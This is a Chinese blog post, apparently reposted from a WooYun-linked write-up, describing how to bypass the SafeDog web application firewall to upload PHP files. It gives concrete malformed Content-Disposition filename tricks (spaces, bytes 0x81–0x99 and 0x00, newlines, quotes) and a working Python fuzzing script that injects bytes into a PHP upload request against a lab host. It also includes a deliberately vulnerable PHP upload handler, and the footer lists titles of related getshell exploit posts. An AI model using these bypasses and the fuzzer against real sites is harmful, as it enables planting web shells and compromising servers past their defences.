漏洞url:http://wooyun.jozxing.cc/static/bugs/wooyun-2014-062881.html

很好的fuzz思路。

文章提到:文件名前面的数字是被"干掉"字符的十进制数字,可以看出%81--%99会被干掉.该特性雷同Windows下对"."和" "(空格), ::$DATA的忽略。

这个特性可以用来绕过安全狗,比如 xxx.php.  比较早期的安全狗就不对这个后缀进行拦截。

这是最新版的绕过安全狗进行上传。思路是和fuzz的思路一样,应该早就有人发出来了,但是没修。所以记录一下。

对于上传的包:Content-Disposition: form-data; name="file"; filename= "x.php";

注意看filename= "x.php";   等号后面有个空格,这样就能绕过安全狗进行上传了,支持的有  09,20

对于上传的包:Content-Disposition: form-data; name="file"; filename="x.php�";

x.php后面也就是漏洞所说的 %81--%99会被干掉 安全狗对于这个也不防御。 �支持的有 81-99 ,00

Content-Disposition: form-data; name="file"; filename="2v333332322vx
.php";

加个换行也能绕过安全狗

在补充个,如果能上传的网站对于上传的名字没有修改,那么可以加单引号来绕过安全狗。

fuzz的脚本如下。

需要hackhttp的包,pip install hackhttp

#!/usr/local/bin/ python
# -*- coding: utf-8 -*- __author__ = 'yangxiaodi' import urllib
import hackhttp
import random
hackhttp=hackhttp.hackhttp() def randstr(num):
sts = ''
char = '1234567890abcdexyz'
for i in range(num):
sts += random.choice(char)
return sts def hex_to_ascii(ch):
return '{:c}'.format(int(float.fromhex(ch))) raw_data = '''POST /copy.php HTTP/1.1
Host: 172.16.220.136
Content-Length: 296
Cache-Control: max-age=0
Origin: http://172.16.220.136
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJ9o2JkrnEtFaefTV
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
DNT: 1
Referer: http://172.16.220.136/1.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Connection: close ------WebKitFormBoundaryJ9o2JkrnEtFaefTV
Content-Disposition: form-data; name="file"; filename="q.php";
Content-Type: text/xml <?php phpinfo();?>
------WebKitFormBoundaryJ9o2JkrnEtFaefTV
Content-Disposition: form-data; name="submit" upload
------WebKitFormBoundaryJ9o2JkrnEtFaefTV-- ''' for u in range(625,872):
for i in range(1,255):
s = '%03d' % i
shex = hex_to_ascii(s)
data=raw_data[:u]+shex+raw_data[u:]
code, head, html, redirect_url, log=hackhttp.http(url="http://172.16.220.136/copy.php", raw=data)
if 'upload/q.php<br>' in html:
print u,i,data,html,'\n'

copy.php如下

<?php

if(isset($_POST['submit'])){

	$savefile = $_FILES['file']['name'];

	$tempfile = $_FILES['file']['tmp_name'];

	$savefile = preg_replace("/(php4)(\.|$)/i", "_\\1\\2", $savefile);//这里是整个漏洞的核心代码,同样这里进行了简化,我们只关注php

	$savefile = 'upload/'.$savefile;

	if(upload($tempfile,$savefile,true)){

		exit('Success upload,path is:'.$savefile."<br>");

	}

}

function upload($src,$dst,$mode=false){

	if($mode){

		if(copy($src,$dst)){

			return true;

		}

	}else{

		if(@move_uploaded_file($src,$dst)){

			return true;

		}

	}

	return false;

}

?>

  

1.html如下

<html>

<body>

<form method="post" action="copy.php" enctype="multipart/form-data">

 <input type="file" name="file" value="1111"/>

 <input type="submit" name="submit" value="upload"/>

</form>

</body>

</html>

  

  

PHPCMS v9.5.6 通杀getshell(前台)的更多相关文章

  1. 某CMS后台通杀getshell

    此CMS是基于thinkphp框架二次开发的,目前有thinkphp5,以及thinkphp6两种版本.这些漏洞挖掘出来的时候已经在cnvd被提交过了.但是网上并没有漏洞文章.避免风险这里只分享思路. ...

  2. phpcms v9 前台getshell脚本

    phpcms v9 前台getshell脚本 用法:python phpcmsv9getshell.py http://baidu.com # -*- coding:utf-8 -*- ''' --- ...

  3. 阿里云提出的漏洞(Phpcms V9某处逻辑问题导致getshell漏洞解决方法)的问题

    最近从阿里云云盾检测流出来的,相比使用阿里云服务器的朋友已经收到漏洞提醒:Phpcms V9某处逻辑问题导致getshell漏洞解决方法,这个漏洞怎么办呢?CMSYOU在这里找到针对性解决办法分享给大 ...

  4. PHPCMS V9教程之快速入门

    这篇文章要为大家来介绍PHPCMS V9这个系统的一些基本知识,PHPCMS是基于面向对象的,严格的安装MVC开发模式开发的CMS系统,同时他还是一个非 常不错的PHP框架.下面我们一起看一下PHPC ...

  5. phpcms v9 的表单向导功能的使用方法

    本文主要介绍phpcms v9的表单向导功能是如何使用的,并副多个案例讲解: 先介绍一下v9 的表单向导如何使用 表单向导做的很实用,生成一个表单,常用的是把它作为一个留言板,或者在招聘栏目作为一个供 ...

  6. phpcms V9 添加模块

    为phpcms创建一个模块的开发流程 [1]创建模块目录 通过前面的学习,我们已经知道phpcms V9框架中的模块位于phcms/modules目录中,每一个目录称之为一个模块. 如果要创建一个模块 ...

  7. phpcms V9 首页模板文件解析

    在了解了<phpcms V9 URL访问解析>之后,我们已经知道首页最终执行的是content模块下index控制器的init方法. 下面, 我们逐步分析过程如下: 第一.首页默认执行的是 ...

  8. phpcms v9二次开发笔记

    phpcms是基于MVC结构的. 安装: 下载phpcms_v9.5.9_UTF8.zip:新建目录phpcms,将压缩包里install_package目录下所有文件复制到phpcms目录.浏览器输 ...

  9. PHPCMS V9静态化HTML生成设置及URL规则优化

    先讲讲Phpcms V9在后台怎么设置生成静态化HTML,之后再讲解怎么自定义URL规则,进行URL地址优化.在这一篇中,伪静态就不涉及了,大家可以移步到Phpcms V9全站伪静态设置方法. 一.静 ...

随机推荐

  1. Java基础-this和super的区别

    package com.cn.This; /** * this与super的区别: * 1.this相当于指向本类的对象的指针,调用本类的另一种类型的构造方法 * 2.super调用的是父类中形参相同 ...

  2. 解决办法:由于oracle版本不同导致导入数据时失败

    在向一个数据库导入dmp文件时,出现了如下错误 经查询,是由于"导出的dmp文件与导入的数据库的版本不同造成的" 用notepad查看dmp文件的版本,看看是否和数据库版本一致 解 ...

  3. MySQL之数据库和表的基本操作(建立表、删除表、向表中添加字段)

    介绍关于数据库和表的一些基本操作 添加字段.给字段添加注释 ); ) COMMENT '统一社会信用代码录入单位'; ,) 更改字段类型 ,) COMMENT '一头签收,@0或空不用,1必须'; 有 ...

  4. C语言的第一次作业

    一.PTA实验作业 题目1. 温度转换 本题要求编写程序,计算华氏温度150°F对应的摄氏温度.计算公式:C=5×(F−32)/9,式中:C表示摄氏温度,F表示华氏温度,输出数据要求为整型. 1.实验 ...

  5. 课堂作业 泛型类-Bag

    自定义泛型类Bag 一.具体代码: 代码连接 二.伪代码: 1.思路: 老师讲完后我的想法是要做出一个类似于List的Bag,首先它的本身是又数组构成的并且是可自动增加长度的,然后实现一些基本的操作, ...

  6. C语言---字符数组

    一.PTA实验作业 题目1:7-2 统计一行文本的单词个数 1. 本题PTA提交列表 2. 设计思路 定义循环变量i,j定义不为空格的字符数count,定义单词数number,i,j,count,nu ...

  7. Beta冲刺第一天

    一.昨天的困难 Beta阶段第一天,主要进行本阶段的计划和任务分配,主要问题是上阶段所做的测试工作较少,本阶段需要加强测试工作,并不断修复检测出来的BUG. 二.今天进度 所有成员写简单测试测试整体应 ...

  8. 冲刺No.3

    Alpha冲刺第三天 站立式会议 项目进展 今日团队对CSS与JS的基础知识进行了应用,并对网站的UI设计进行了讨论,对数据库设计进行了进一步的探讨,基本确立了各个表单的结构和内容.分割出项目基本模块 ...

  9. 利用python实现简单随机验证码

    #!/usr/bin/env python # -*- coding:utf-8 -*- import random temp ='' for i in range(6): num = random. ...

  10. php框架中的phalcon框架的安装,及初步认识,从表单提交简单的数据到数据库中

    php框架中的phalcon框架的安装,及初步认识,从表单提交简单的数据到数据库中 1.phalcon框架的安装: phalcon框架在windows本地安装可以利用wamp软件,安装之后可以查看对应 ...